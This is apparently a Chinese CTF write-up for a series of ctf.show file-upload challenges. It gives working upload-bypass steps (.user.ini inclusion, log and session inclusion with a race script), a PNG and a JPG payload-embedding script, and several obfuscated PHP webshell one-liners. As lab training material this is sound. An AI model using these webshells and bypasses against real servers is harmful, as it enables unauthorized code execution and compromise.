1.
写马改后缀为png上传,抓包修改文件信息
回显路径,蚁剑连接
2.
先构造一句话木马php文件
修改前端,然后上传php文件
进入路径
POST传参, 命令执行
1.web151的方法可以白嫖
2.前端不能修改,抓包修改后缀
上传成功后就和web151 2一样了
.user.ini,上传一个图片马,然后上传.user.ini,使得当前目录下的所有php文件都去包含这个含有木马的图片。因为.user.ini只对它同一目录下的文件起作用,并且/upload/下存在index.php文件,所以上传之后直接去访问index.php才有效果,当访问index.php的时候,首先回去包含这张带有木马的图片,上传图片马,抓包改后缀
上传.user.ini
蚁剑直接连接/upload/index.php,密码是cmd
上传一个文件马的时候回显文件内容不合规,对文件内容进行了限制
经过测试发现是对php进行了限制,使用短标签,上传完图片马,还是要上传.user.ini
依旧是连接/upload/index.php,发现了flag
过滤了php关键字,使用短标签
访问路径
命令执行
过滤了[],使用{}代替,上传一句话木马和.user.ini
上传成功进入路径
POST传参,命令执行
经过测试发现过滤了;、[]、{},直接传命令执行,还是先传.user.ini再传index.png
上传成功得到路径,访问路径
web157的方法可以通杀
日志包含,过滤了关键词log,上传png文件和.user.ini
上传成功进入upload,在UA中直接命令执行 ,我执行了两次才回显出flag
检测了文件头,增加文件头GIF89a绕过,上传index.png和.user.ini
上传成功进入upload,然后修改UA,命令执行
session文件包含、条件竞争
- import requests
- import threading
-
- session = requests.session()
- sess = 'yu22x'
- url1 = "http://c00d1119-5295-4db1-b613-9b9f3047a91e.challenge.ctf.show/"
- url2 = "http://c00d1119-5295-4db1-b613-9b9f3047a91e.challenge.ctf.show/upload"
- data1 = {
- 'PHP_SESSION_UPLOAD_PROGRESS': ''
- }
- file = {
- 'file': 'yu22x'
- }
- cookies = {
- 'PHPSESSID': sess
- }
-
-
- def write():
- while True:
- r = session.post(url1, data=data1, files=file, cookies=cookies)
-
-
- def read():
- while True:
- r = session.get(url2)
- if 'flag' in r.text:
- print(r.text)
-
-
- threads = [threading.Thread(target=write),
- threading.Thread(target=read)]
- for t in threads:
- t.start()
include url文件包含,直接在.user.ini配置文件中远程包含
然后去访问/upload/,进行然后就可以1=system("tac ../flag.php");,由于我没有VPS所以做不出来
- $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
- 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
- 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
- 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
- 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
- 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
- 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
- 0x66, 0x44, 0x50, 0x33);
-
-
-
- $img = imagecreatetruecolor(32, 32);
-
- for ($y = 0; $y < sizeof($p); $y += 3) {
- $r = $p[$y];
- $g = $p[$y+1];
- $b = $p[$y+2];
- $color = imagecolorallocate($img, $r, $g, $b);
- imagesetpixel($img, round($y / 3), 0, $color);
- }
-
- imagepng($img,'xxx'); //要修改的图片的路径
-
- /* 木马内容
- $_GET[0]($_POST[1]);?>
- */
-
- ?>
放包,然后传参
传参完了之后,ctrl+s保存为txt类型的,里面就有flag
发现需要jpg二次渲染,图片要用特定的图片,下面这一张就是二次渲染专用图片
我们首先要上传到服务端,因为服务端会进行一次渲染,改动最小,然后保存为所有格式名称后缀为.jpg的图片,利用脚本生成二次渲染的图片
- /*
- The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
- It is necessary that the size and quality of the initial image are the same as those of the processed image.
- 1) Upload an arbitrary image via secured files upload script
- 2) Save the processed image and launch:
- jpg_payload.php
- In case of successful injection you will get a specially crafted image, which should be uploaded again.
- Since the most straightforward injection method is used, the following problems can occur:
- 1) After the second processing the injected data may become partially corrupted.
- 2) The jpg_payload.php script outputs "Something's wrong".
- If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
- Sergey Bobrov @Black2Fan.
- See also:
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- */
-
- $miniPayload = "=eval(\$_POST[1]);?>";
-
-
- if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
- die('php-gd is not installed');
- }
-
- if(!isset($argv[1])) {
- die('php jpg_payload.php
' ); - }
-
- set_error_handler("custom_error_handler");
-
- for($pad = 0; $pad < 1024; $pad++) {
- $nullbytePayloadSize = $pad;
- $dis = new DataInputStream($argv[1]);
- $outStream = file_get_contents($argv[1]);
- $extraBytes = 0;
- $correctImage = TRUE;
-
- if($dis->readShort() != 0xFFD8) {
- die('Incorrect SOI marker');
- }
-
- while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
- $marker = $dis->readByte();
- $size = $dis->readShort() - 2;
- $dis->skip($size);
- if($marker === 0xDA) {
- $startPos = $dis->seek();
- $outStreamTmp =
- substr($outStream, 0, $startPos) .
- $miniPayload .
- str_repeat("\0",$nullbytePayloadSize) .
- substr($outStream, $startPos);
- checkImage('_'.$argv[1], $outStreamTmp, TRUE);
- if($extraBytes !== 0) {
- while((!$dis->eof())) {
- if($dis->readByte() === 0xFF) {
- if($dis->readByte() !== 0x00) {
- break;
- }
- }
- }
- $stopPos = $dis->seek() - 2;
- $imageStreamSize = $stopPos - $startPos;
- $outStream =
- substr($outStream, 0, $startPos) .
- $miniPayload .
- substr(
- str_repeat("\0",$nullbytePayloadSize).
- substr($outStream, $startPos, $imageStreamSize),
- 0,
- $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
- substr($outStream, $stopPos);
- } elseif($correctImage) {
- $outStream = $outStreamTmp;
- } else {
- break;
- }
- if(checkImage('payload_'.$argv[1], $outStream)) {
- die('Success!');
- } else {
- break;
- }
- }
- }
- }
- unlink('payload_'.$argv[1]);
- die('Something\'s wrong');
-
- function checkImage($filename, $data, $unlink = FALSE) {
- global $correctImage;
- file_put_contents($filename, $data);
- $correctImage = TRUE;
- imagecreatefromjpeg($filename);
- if($unlink)
- unlink($filename);
- return $correctImage;
- }
-
- function custom_error_handler($errno, $errstr, $errfile, $errline) {
- global $extraBytes, $correctImage;
- $correctImage = FALSE;
- if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
- if(isset($m[1])) {
- $extraBytes = (int)$m[1];
- }
- }
- }
-
- class DataInputStream {
- private $binData;
- private $order;
- private $size;
-
- public function __construct($filename, $order = false, $fromString = false) {
- $this->binData = '';
- $this->order = $order;
- if(!$fromString) {
- if(!file_exists($filename) || !is_file($filename))
- die('File not exists ['.$filename.']');
- $this->binData = file_get_contents($filename);
- } else {
- $this->binData = $filename;
- }
- $this->size = strlen($this->binData);
- }
-
- public function seek() {
- return ($this->size - strlen($this->binData));
- }
-
- public function skip($skip) {
- $this->binData = substr($this->binData, $skip);
- }
-
- public function readByte() {
- if($this->eof()) {
- die('End Of File');
- }
- $byte = substr($this->binData, 0, 1);
- $this->binData = substr($this->binData, 1);
- return ord($byte);
- }
-
- public function readShort() {
- if(strlen($this->binData) < 2) {
- die('End Of File');
- }
- $short = substr($this->binData, 0, 2);
- $this->binData = substr($this->binData, 2);
- if($this->order) {
- $short = (ord($short[1]) << 8) + ord($short[0]);
- } else {
- $short = (ord($short[0]) << 8) + ord($short[1]);
- }
- return $short;
- }
-
- public function eof() {
- return !$this->binData||(strlen($this->binData) === 0);
- }
- }
- ?>
抓包将GET方法变成POST方法,然后写入马,然后命令执行1=system("tac flag.php");
访问上传了的1.png文件,然后利用POST的1来进行命令执行
发现了flag.php,tac抓一下flag.php
免杀,下面是常用的免杀脚本,抓包上传
- 脚本1:
- =`$_REQUEST[1]`;?> //利用反引号执行系统命令
-
- 脚本2:
- $a=$_REQUEST['a'];
- $b=$_REQUEST['b'];
- $a($b);
- ?>
-
- //a=system&b=tac ../flagaa.php
-
- 脚本3:
- $a='syste'.'m';($a)('ls ../'); //拼接
-
- //把ls ../换成tac ../flagaa.php即可找到flag
-
- 脚本4:
-
- $a = "s#y#s#t#e#m";
- $b = explode("#",$a);
- $c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
- $c($_REQUEST[1]);
- ?>
- //c相当于system,给1赋值参数即可
-
- 脚本5:
- $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
-
- 脚本6:
- $a=strrev('metsys'); $a($_REQUEST[1]); ?>
-
-
- 脚本7:
- $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
- #数字函数 get传参 abs=system&acos=tac ../flagaa.php
上传成功访问upload/1.php
参数执行,列一下目录
在flagaa.php中发现了flag
发现只能上传zip文件
但是直接上传zip文件,回显文件类型不合规
经测试发现,Content-Type:image/png可以上传成功
但是同时也过滤了<、>、?、$等
使用.user.ini进行日志包含,在UA写入一句话木马
上传成功,访问upload/1.php
命令执行就可以了
和web169类似,这次使用蚁剑来做,查看源码发现还是只能上传zip
经过测试发现禁用了<、>、?、$、php、eval等,还是利用.user.ini进行日志包含
使用蚁剑连接,http:xxxxx/upload/1.php,密码shell
在flagaa.php中发现了flag